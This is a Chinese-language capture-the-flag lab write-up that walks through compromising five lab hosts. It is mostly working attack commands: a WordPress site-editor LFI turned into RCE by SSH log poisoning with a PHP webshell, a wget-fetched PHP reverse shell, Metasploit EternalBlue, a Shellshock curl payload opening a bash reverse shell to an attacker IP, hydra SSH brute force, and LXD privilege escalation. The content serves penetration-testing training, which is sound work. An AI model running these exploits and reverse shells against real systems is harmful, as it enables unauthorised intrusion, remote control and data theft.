# About Me 葉柏毅 Alex Contact: alrex5401@gmail.com Linkedin:https://www.linkedin.com/in/alrex5401/ ## 引用來源: https://hackmd.io/u3qLOTOnRKy-3FI5PnLPgQ?view ## Scope: IP address range: 172.25.20.0/24, 172.25.30.0/24 Exclusion: 172.25.20.1, 172.25.30.1 In this zone, you will deal with multiple web application vulnerabilities and security misconfigurations. Once you identify them and exploit them, you own the servers. Upon owning them, find the secret keys placed in them. ## Challenge 26: ### Description : Compromise the machine with IP address 172.25.20.6, find the file secret.txt and enter its content as the answer. ### Key point : 以本題來說,一開始需要先用nmap掃描,可以看到port 22,80是開著的,如果打port 22,勢必要拿出密碼檔跟他拚了,而port 80用nikto可以看到有關此網站的資訊,從那些資訊中可以看到這網站是由WordPress架起來的,有了這一條路後就可以開始拿出WPScan來掃plugin跟themes,看看有沒有一些奇怪的東西,這時候可以看到有site-editor 1.1.1這個plugin,此時就可以透過site-editor 1.1.1的LFI漏洞+SSH進行RCE。 ### Attack via find: 首先透過nmap掃描172.16.20.6的所有Ports,看目標主機有哪些Port是開著的。 ``` namp 172.16.20.6 -p- ``` ![](https://hackmd.io/_uploads/SkEBIGZKn.png) 進一步查看可以看到有關22跟80 Port的資訊,從80 Port的http-generator可以看到這個網站是由WordPress 5.8.2架起來的。 ``` namp 172.16.20.6 -p22,80 -sC -sV -O -A ``` ![](https://hackmd.io/_uploads/SkUoUzZFn.png) 而用nikto也可看出確實是用WordPress ``` nikto -host 172.16.20.6 ``` ![](https://hackmd.io/_uploads/rkVuD4WFh.png) 既然有了WordPress資訊,開始透過wpscan做掃描 這邊可以看到只有一個plugin,很明顯就是漏洞所在了 ``` wpscan --url 172.16.20.6 -e ap,at ``` ![](https://hackmd.io/_uploads/BknlYN-Kh.png) 上網搜尋[`site-editor 1.1.1 exploit`](https://www.exploit-db.com/exploits/44340),可以在explitdb上找到對應的LFI漏洞跟其PoC 輸入URL可以看到 ``` http://172.16.20.6/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd ``` ![](https://hackmd.io/_uploads/B1wCq4Wth.png) 至此,LFI漏洞確定存在,但我們目標是能夠讀取`secret.txt`,所以至少需要能夠做到RCE才行。 怎麼做到RCE是個問題,我這邊搭配SSH進行RCE,上網搜尋`ssh logon lfi exploit`,可以找到[此網站](https://www.hackingarticles.in/rce-with-lfi-and-ssh-log-poisoning/),在實作上非常詳細。 有了這個PoC可以開始打RCE了,透過下面指令登入ssh: ``` ssh '<?php system($_GET['cmd']); ?>'@172.16.20.6 ``` 再透過LFI去看[/var/log/auth.log'](view-source:http://172.16.20.6//wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/auth.log)可以看到這個webshell被寫進去了。 ![](https://hackmd.io/_uploads/SJxs6EZYh.png) 接著就能進行RCE,這邊直接去找secret.txt,可以看到在`/etc/flag/secret.txt` ``` http://172.16.20.6/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/auth.log&cmd=find / -name 'secret.txt' -print 2>/dev/null ``` ![](https://hackmd.io/_uploads/B1GBJHbtn.png) 接著再去cat這個檔案就可以看到FLAG了!! ``` http://172.16.20.6/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/auth.log&cmd=cat /etc/flag/secret.txt ``` ![](https://hackmd.io/_uploads/BJQ0JH-Kh.png) ### Attack via revershell: 接續之前打進webshell開始,如果想要把webshell打成revershell,這邊透過上傳[php-reverse-shell](https://github.com/pentestmonkey/php-reverse-shell)方式連回來。 或拿本機的範本來改 ``` cp /usr/share/webshells/php/php-reverse-shell.php cp /usr/share/webshells/php/php-reverse-shell.php shell.php ``` 首先透過`python -m SimpleHTTPServer 80` or `python -m http.server 80`開一個Http Server,目的是讓目標主機能夠從Http Server上下載revershell並執行。 這邊透過原本的webshell來讓revershell能夠被下載下來。 ``` http://172.16.20.6/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/auth.log&c=wget http://<IP>/php-reverse-shell.php ``` 可以從SimpleHTTPServer上看到revershell已經成功被目標主機所下載,接下來只要讓目標主機能夠連回來就行,在這之前,我們必須先用`nc -lvnp 443`來讓我們的kali能夠接收目標主機的連線。 接下來只要透過瀏覽下面url就可以成功連回kali,獲取到revershell了。 ``` http://172.16.20.6/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/php-reverse-shell.php ``` 可以看到我們順利獲得revershell了!! ![](https://hackmd.io/_uploads/S14_ivbKh.png) 接下來只要透過`find / -name 'secret.txt' -print 2>/dev/null`找到secret.txt位置並且cat它就能看到裡面的FLAG了!! ![](https://hackmd.io/_uploads/B1FM3P-Yh.png) ## Challenge 27: ### Description : Compromise the machine with IP address 172.25.30.4, find the file secret.txt and enter its content as the answer. ### Key point : 本題透過弱點掃描可以看到172.16.30.4有開啟SMB服務,並且符合ms17-010的一些條件,因此存在ms17-010的機率很大,透過這條思路,加上MSF就可以打穿172.16.30.4。 ### Attack : 首先一樣透過nmap進行弱點掃描,可以看到目標主機開啟了135,139,445,5985,49155,其中5985是WinRM服務,至於49155可能是SMB用來做回應的動態端口。 ``` nmap 172.16.30.4 -p- ``` ![](https://hackmd.io/_uploads/rJUjWh-Y2.png) 進一步掃描可以發現可能存在ms17-010漏洞,ms17-010需要smb-security-mode滿足下圖條件。 ``` nmap 172.16.30.4 -p135,139,445,5985,49155 -sC -sV -O -A ``` ![](https://hackmd.io/_uploads/Sy3x4h-Kh.png) #### 永恆之藍關鍵;EternalBlue;ms17-010 ``` | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported | message_signing: disabled (dangerous, but default) ``` 開始使用`msfconsole`打漏洞,`search ms17-010`可以看到下面這些PoC可以利用 #### msfconsole ``` msfconsole db啟用 systemctl start postgresql #啟用postgresql msf > msfdb init #啟動msfdb msf > db_status #確認msfdb正常連線 ``` ``` search ms17-010 ``` ![](https://hackmd.io/_uploads/HkW3N2-th.png) 這邊選擇第4個PoC做滲透 ``` use windows/smb/ms17_010_psexec ``` ![](https://hackmd.io/_uploads/r1eXSn-F3.png) 記得要設定`LHOST`,`LPORT`,`RHOSTS` ``` msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 172.16.30.4 msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.200.3 msf6 exploit(windows/smb/ms17_010_psexec) > set LPORT 443 ``` ![](https://hackmd.io/_uploads/ryikL2WK3.png) 之後就可以開始`run`,可以看到有成功打穿 ``` msf6 exploit(windows/smb/ms17_010_psexec) > run ``` ![](https://hackmd.io/_uploads/HkrUI2bY2.png) 透過`shell`指令可以獲得一個互動式的shell ``` meterpreter > shell ``` 接著去找出電腦上的`secret.txt` ``` c:\>dir /S secret.txt c:\>dir / secret.txt -s or meterpreter > search -f secret.txt ``` ![](https://hackmd.io/_uploads/HyCMPn-Y3.png) 然後就可以透過`type`看到FLAG的內容了!! ``` c:\>type c:\users\administrator\Documents\secret.txt or meterpreter > cat c:\\Users\\Administrator\\Documents\\Secret.txt ``` ![](https://hackmd.io/_uploads/SynIP3-Fh.png) ## Challenge 28: ### Description : Compromise the machine with IP address 172.25.30.5, find the file Secret.txt and enter its content as the answer. ### Key point : 本題掃出來只會看到22,80兩個port,在80上只能知道有CGI跟Apache,查看Apache有沒有重大漏洞只會發現甚麼都沒有,接著透過字典打ssh服務,也會發現打不穿,由於80 port上有CGI服務跟Apache所以可能存在shellshock,因此最後只能透過shellshock漏洞將Server打穿。 ### Attack : 一開始進行`nmap 172.16.30.5 -p-`可以看到目標主機有開啟22,80 port,進一步掃描可以看到一些資訊。 ``` nmap 172.16.30.5 -p22,80 -sC -sV -O -A ``` ![](https://hackmd.io/_uploads/SJiFcwGt3.png) 這裡可以看到目標主機在80 port上開了一個網站,是用`Apache 2.4.7`架設的,開始上網Google相關漏洞。 上網搜`Apache/2.4.7 exploit`相關漏洞,可以看到CVE最高的是[CVE-2018-1312](https://www.cvedetails.com/cve/CVE-2018-1312/),這個是一個身分驗證繞過的漏洞,透過這個漏洞可以做到HTTP Relay攻擊,但這種攻擊是屬於被動攻擊,在這場景派不上用場。 上網能搜到Apache比較有用的RCE漏洞是[CVE-2021-41773](https://github.com/lorddemon/CVE-2021-41773-PoC),但這個漏洞只限於Apache 2.4.49~2.4.50,所以目前甚麼都沒有。 用`nikto`甚麼都看不到 ![](https://hackmd.io/_uploads/BJusyufF3.png) 到這裡,先合理懷疑此題是否是要用SSH暴力解,先跟他拚了試試看。 ``` hydra -L Usernames.txt -P Passwords.txt ssh://172.16.30.5 ``` ![](https://hackmd.io/_uploads/By1IfKft2.png) 很不幸,啥都沒有,靠實力解了。 用`dirb http://172.16.30.5`可以看到`http://172.16.30.5/cgi-bin/keygen`的網站存在,還很明顯地跟你說`Break the Code`,很明顯在挑釁你,也告訴你這題CTF目標是CGI沒錯了。 ![](https://hackmd.io/_uploads/rkTu2wfFh.png) ![](https://hackmd.io/_uploads/SJfcnDzF3.png) 上網搜尋`Apache+CGI exploit`可以看到[HackTrick](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/cgi)介紹了shellshock漏洞,也把攻擊方式告訴大家。 到這裡,接著就是攻擊shellshock漏洞了,這裡分別用metaslpoit跟curl打給大家看。 ### Attack via metasploit : 可以參考此網站 : [Click me](https://null-byte.wonderhowto.com/how-to/exploit-shellshock-web-server-using-metasploit-0186084/) 進入`msfconsole`,然後`search shellshock`,可以看到有下面PoC可以利用,由於我們的漏洞是由Apache+CGI所構成,因此這裡選擇5 ![](https://hackmd.io/_uploads/HkP_HufFh.png) 接著依照下面指令進行就可以了 ```= use 5 set rhost 172.16.30.5 set lhost <Your IP> set lport 443 set targeturi /cgi-bin/keygen run ``` 接著就能打穿這個系統了!! ![](https://hackmd.io/_uploads/S1-P8dftn.png) 進入`shell`,開始搜尋`secret.txt`,並且`cat`它就可以找到FLAG了!! ![](https://hackmd.io/_uploads/SJ99UOGth.png) ### Attack via curl : 參考網站 : [Click me](https://www.sevenlayers.com/index.php/125-exploiting-shellshock) 但想成為真正的滲透測試人員,必須要有自己找解法的能力,所以這是我上網查到的參考網站 : [Click me](https://www.infosecarticles.com/exploiting-shellshock-vulnerability/),之前那個[HackTrick](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/cgi)提供的curl方式打不穿,我也不清楚其原因,所以才用MSF來確認一下漏洞是否依然存在,所以才有了剛剛的`Attack via metasplit`。 會做確認的原因是,我以前在交大修程式安全這門課,授課的人是台灣金盾獎冠軍所組成的助教群,這門課專門打CTF的,題目神奇的難解,也不會解給你看,基本就是門通靈課,有些人就很強,不僅不按可能的預期解拿FLAG,還直接把Server的FLAG給徹底弄消失,更有甚者,直接進去把網站下架或把相關的Port給關掉,透過預期解拿到的權限我記得都不高,只夠我們看看FLAG,我都不知道他們怎麼做到的,而我就是常常連預期解都想不到的那個爛咖。 透過我給的參考網站測試了一下shellshocl漏洞,可以看到漏洞是存在的。 ![](https://hackmd.io/_uploads/H1N13_zFh.png) 接著就是建立revershell,記得先透過`nc -lvnp 443`來讓目標主機做連線。 ``` curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.200.5/443 0>&1' http://172.16.30.5/cgi-bin/keygen ``` 做到這裡,就恭喜你拿到shell了!! ![](https://hackmd.io/_uploads/HyMMCOzFn.png) 接著就是去找出FLAG,然後`cat`它一下就可以看到FLAG了!! ![](https://hackmd.io/_uploads/BkoDRuMFn.png) ### Attack via burp suite : 知道原理,當然也可以用burp suite弄一下,建立revershell,後面流程就一樣了 ![](https://hackmd.io/_uploads/HJs7-dIq2.png) ## Challenge 29: ### Description : Compromise the machine with IP address 172.25.20.7, find the file userflag.txt and enter its content as the answer. ### Key point : 這題用nmap掃描後會發現只有開22 port,所以明明白白的告訴你,帶著字典檔跟他拚了。 ### Attack : 先用nmap掃描看看。 ![](https://hackmd.io/_uploads/HJavuozK3.png) 進一步看看22 port。 ![](https://hackmd.io/_uploads/rk5pOofYh.png) 透過Password Spraying,開始暴力解。 ![](https://hackmd.io/_uploads/ryEM9jMY3.png) 有了這組帳號密碼就能登入了,進去搜尋一下就能找到FLAG了!! ![](https://hackmd.io/_uploads/S1eT9szKh.png) ## Challenge 30: ### Description : Compromise the machine with IP address 172.25.20.7, find the file rootflag.txt, and enter its content as the answer. ### Key point : 這題重點是透過linPEAS看到可能存在LXC/LXD漏洞,然後打穿這個漏洞,這個漏洞主要就是透過LXC/LXD的misconfigure,來讓container有root權限跟外面交互,進而將資料掛載進container中。 ### Attack : 這題目標是要拿root權限,我們首先看看目前的一些系統資訊,找找看有沒有可以利用的地方。 ![](https://hackmd.io/_uploads/rkOZnjGtn.png) 有看到`Linux version 4.15.0-20-generic`,這是一個方向,很常會有kernel提權漏洞,上網搜會找到兩個漏洞: 1. [CVE-2018-18955](https://www.exploit-db.com/exploits/47164) : 這是一個透過`map_write() CAP_SYS_ADMIN`打穿的漏洞,我有嘗試打這個漏洞,是打的通的,但這個漏洞需要有root登入才能拿到root shell。 2. [CVE-2019-13272](https://github.com/jas502n/CVE-2019-13272),我還沒試,晚點試試。 用linPEAS可以看到可能存在不少漏洞可以打,有興趣的人可以試試。 ![](https://hackmd.io/_uploads/S1_w-bVFh.png) 這題用linPEAS可以看到可能存在LXC/LXD提權漏洞。 ![](https://hackmd.io/_uploads/BJryg-NFn.png) 參考連結 : [Click me](https://steflan-security.com/linux-privilege-escalation-exploiting-the-lxc-lxd-groups/#:~:text=The%20LXC%2FLXD%20groups%20are%20used%20to%20allow%20users,executing%20%2Fbin%2Fsh%20and%20therefore%20starting%20a%20root%20shell.) 照著打就可以,以下為kali所要執行的指令: ```= git clone https://github.com/saghul/lxd-alpine-builder cd lxd-alpine-builder/ sudo ./build-alpine sudo python -m SimpleHTTPServer 80 ``` 下面則為目標主機所要執行的指令: ```= wget http://192.168.200.5/alpine-v3.18-x86_64-20230706_1703.tar.gz lxc image import ./alpine-v3.18-x86_64-20230706_1703.tar.gz --alias myimage lxc image import ./alpine-v3.18-x86_64-20230706_1703.tar.gz --alias myimage lxc init myimage mycontainer -c security.privileged=true lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true lxc start mycontainer lxc exec mycontainer /bin/sh ``` 基本上執行完後就能進入到container中,並把container外的資料掛載到container裡面。 有了shell之後就能去找出FLAG了!! ![](https://hackmd.io/_uploads/r1DKDW4Yn.png)